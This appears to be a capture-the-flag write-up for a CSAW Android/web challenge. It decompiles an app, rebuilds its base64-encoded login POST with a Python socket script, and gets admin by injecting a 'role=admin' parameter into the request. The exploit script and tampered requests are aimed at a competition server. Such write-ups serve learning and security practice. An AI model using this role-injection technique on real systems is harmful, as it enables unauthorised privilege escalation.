After decompiling the .apk file and looking through the source code, we found that the application contacted the website: https://webchal.isis.poly.edu/csaw.php. Visiting this site in a web browser returned no interesting results, other than the indication that we should visit the site using the mobile application.
This lead us in the direction of finding the request sent to the page from the application. viewing the doInBackground() method provided the existence of three vars that were base64 encoded then sent across to the website. The source of this method looks like this:
protected doInBackground(String[] uri) { v14 = android.os.Debug.isDebuggerConnected(); if (!v14) { short v14 = 0x539; v14 = v14 / 0; } else { java.net.URL v11 = 0; try { v14 = 0; v14 = uri[v14]; v12 = new java.net.URL(v14); } catch (java.net.MalformedURLException) { } v11 = v12; java.net.HttpURLConnection v13 = 0; try { v14 = v11.openConnection(); v0 = v14; assert v0 instanceof java.net.HttpURLConnection; v13 = v0; v14 = 1; v13.setDoOutput(v14); v14 = "POST"; v13.setRequestMethod(v14); ops.black.herpderper.TrustModifier.relaxHostChecking(v13); v5 = v13.getOutputStream(); v14 = 1; v14 = uri[v14]; v15 = "UTF-8"; v14 = v14.getBytes(v15); v15 = 0; String v2 = android.util.Base64.encodeToString(v14, v15); v14 = 2; v14 = uri[v14]; v15 = "UTF-8"; v14 = v14.getBytes(v15); v15 = 0; String v8 = android.util.Base64.encodeToString(v14, v15); v14 = "\n"; v15 = ""; v14 = v2.replace(v14, v15); v15 = "\r"; v16 = ""; v2 = v14.replace(v15, v16); v14 = "\n"; v15 = ""; v4 = v8.replace(v14, v15); v15 = "\r"; v16 = ""; v8 = v14.replace(v15, v16); v14 = new StringBuilder(); v15 = "identity="; v14 = v14.append(v15); v14 = v14.append(v2); v15 = "&secret="; v14 = v14.append(v15); v14 = v14.append(v8); v15 = "&integrityid="; v14 = v14.append(v15); v15 = 3; v15 = uri[v15]; v14 = v14.append(v15); v9 = v14.toString(); v14 = v9.getBytes(); v5.write(v14); v5.close(); v13.connect(); } catch (Exception) { } v0 = p0; v7 = v0; try { v14 = v13.getInputStream(); v3 = new BufferedInputStream(v14); v14 = new java.io.InputStreamReader(v3); v6 = new BufferedReader(v14); v10 = new java.lang.StringBuilder(); while (true) { v4 = v6.readLine(); if (!v4 == 0) { // break? -> :cond_1 v10.append(v4); } else { v7 = v10.toString(); v13.disconnect(); return v7; } } } catch (org.apache.http.client.ClientProtocolException v14) { v13.disconnect(); } catch (java.lang.Exception) { } } }
The three variables were identity, secret, and integrityid. Sending a GET request to the website without sending the correct "integrityid" variable resulted in a client integrity fault message from the page:
{"response":{"status":"failure","msg":"Client integrity fault"}}
Using burp suite to find the correct integrityid, we sent that across and got the response from the page. The challenge then became a matter of exploiting the website. We wrote a quick python script to execute the request:
import socket, gzip, base64 def main(): identity='''admin''' secret='''password''' requestbefore='''identity=%s&role=YWRtaW4=&secret=%s&integrityid=3082019f30820108a0030201020204522f840b300d06092a864886f70d0101050500301431123010060355040b1309426c61636b204f7073301e170d3133303931303230343134375a170d3338303930343230343134375a301431123010060355040b1309426c61636b204f707330819f300d06092a864886f70d010101050003818d0030818902818100cf6ecf73522d132c654ba9d9448e3051099e16283b68ef7872779e29cf517cbdb9dbeadced28147b8bc0e2cf93a02aff855561258a20cf107fe79fc1b56479fd706760f8a6a5bdeba2dc9ea810c5b7954fea9b62d96f3d66743b7723f57578e814939a23262be7bdd0aca74cfc0bd06ec8e267861161075d00edd29e1ed7d29d0203010001300d06092a864886f70d0101050500038181003289f625b0d425dd9eb49c7d5113f3f9f39d72dd56c56684aeeede3e8e99aaf279b9e5c994b4f8f1d5ecb0941ffb7cb8dd3fa58c60926127ebe2a85531c1c1885f9ae588af1bd91ebc3ce41259818569663d9ec66cdbfb08993e20c046b2dcd0ca54e52e84dc1866c824a586ce452750b9df09c2a5fca4a05e3746db3aae9fa9'''%(str(base64.b64encode(identity)), str(base64.b64encode(secret))) request2 = '''POST /csaw.php HTTP/1.1 User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.1.2; GT-N7105 Build/JZO54K) Host: webchal.isis.poly.edu Connection: Keep-Alive Accept-Encoding: gzip Content-Type: application/x-www-form-urlencoded Content-Length: %s '''%str(len(requestbefore)) request = request2 + requestbefore print request s = socket.socket() s.connect(('webchal.isis.poly.edu', 80)) s.sendall(request) while(1): derp = s.recv(1024).strip() if(derp): break derp = derp.split('text/html')[1].strip() writefile = open('derp.txt.gz','wb') writefile.write(derp) writefile.close() f = gzip.open('derp.txt.gz', 'rb') file_content = f.read() print "\n\n" + file_content f.close() if __name__ == "__main__": main()The script would send a GET request to the website that looked like this:
POST /csaw.php HTTP/1.1 User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.1.2; GT-N7105 Build/JZO54K) Host: webchal.isis.poly.edu Connection: Keep-Alive Accept-Encoding: gzip Content-Type: application/x-www-form-urlencoded Content-Length: ### identity=YWRtaW4=&secret=cGFzc3dvcmQ=&integrityid=3082019f30820108a0030201020204522f840b300d06092a864886f70d0101050500301431123010060355040b1309426c61636b204f7073301e170d3133303931303230343134375a170d3338303930343230343134375a301431123010060355040b1309426c61636b204f707330819f300d06092a864886f70d010101050003818d0030818902818100cf6ecf73522d132c654ba9d9448e3051099e16283b68ef7872779e29cf517cbdb9dbeadced28147b8bc0e2cf93a02aff855561258a20cf107fe79fc1b56479fd706760f8a6a5bdeba2dc9ea810c5b7954fea9b62d96f3d66743b7723f57578e814939a23262be7bdd0aca74cfc0bd06ec8e267861161075d00edd29e1ed7d29d0203010001300d06092a864886f70d0101050500038181003289f625b0d425dd9eb49c7d5113f3f9f39d72dd56c56684aeeede3e8e99aaf279b9e5c994b4f8f1d5ecb0941ffb7cb8dd3fa58c60926127ebe2a85531c1c1885f9ae588af1bd91ebc3ce41259818569663d9ec66cdbfb08993e20c046b2dcd0ca54e52e84dc1866c824a586ce452750b9df09c2a5fca4a05e3746db3aae9fa9Where ### was the length of the data sent below the Content-Length line. The website replied with the following response:
{"response":{"status":"failure","msg":"Login failed"},"timeStamp":"1379429423","tZ":"America/New_York","reqResourceId":"webchal.isis.poly.edu","clientId":{"identitySig":"d033e22ae348aeb5660fc2140aec35850c4da997","role":"anonymous","accessToken":"YWRtaW46YW5vbnltb3VzOndlYmNoYWwuaXNpcy5wb2x5LmVkdQ=="}}After fiddling with various login names and passwords, we ran out of time in the competition. The final step of the challenge was to modify the request to include the variable "role", where role=admin in base64. In essence, the final request would look like this:
identity=YWRtaW4=&role=YWRtaW4=&secret=cGFzc3dvcmQ=&integrityid=3082019f30820108a0030201020204522f840b300d06092a864886f70d0101050500301431123010060355040b1309426c61636b204f7073301e170d3133303931303230343134375a170d3338303930343230343134375a301431123010060355040b1309426c61636b204f707330819f300d06092a864886f70d010101050003818d0030818902818100cf6ecf73522d132c654ba9d9448e3051099e16283b68ef7872779e29cf517cbdb9dbeadced28147b8bc0e2cf93a02aff855561258a20cf107fe79fc1b56479fd706760f8a6a5bdeba2dc9ea810c5b7954fea9b62d96f3d66743b7723f57578e814939a23262be7bdd0aca74cfc0bd06ec8e267861161075d00edd29e1ed7d29d0203010001300d06092a864886f70d0101050500038181003289f625b0d425dd9eb49c7d5113f3f9f39d72dd56c56684aeeede3e8e99aaf279b9e5c994b4f8f1d5ecb0941ffb7cb8dd3fa58c60926127ebe2a85531c1c1885f9ae588af1bd91ebc3ce41259818569663d9ec66cdbfb08993e20c046b2dcd0ca54e52e84dc1866c824a586ce452750b9df09c2a5fca4a05e3746db3aae9fa9Where the variable "role" is simply inserted into the request. This would have returned the following response:
{"response":{"status":"success","msg":"Key: Yo dawg I heard you leik to derp so i put a herp in your derp so you could herpderp while you derpderp"},"timeStamp":"1379429491","tZ":"America/New_York","reqResourceId":"webchal.isis.poly.edu","clientId":{"identitySig":"d033e22ae348aeb5660fc2140aec35850c4da997","role":"admin","accessToken":"YWRtaW46YWRtaW46d2ViY2hhbC5pc2lzLnBvbHkuZWR1"}}lilniqy, Hawkeye, albinotomato
No comments:
Post a Comment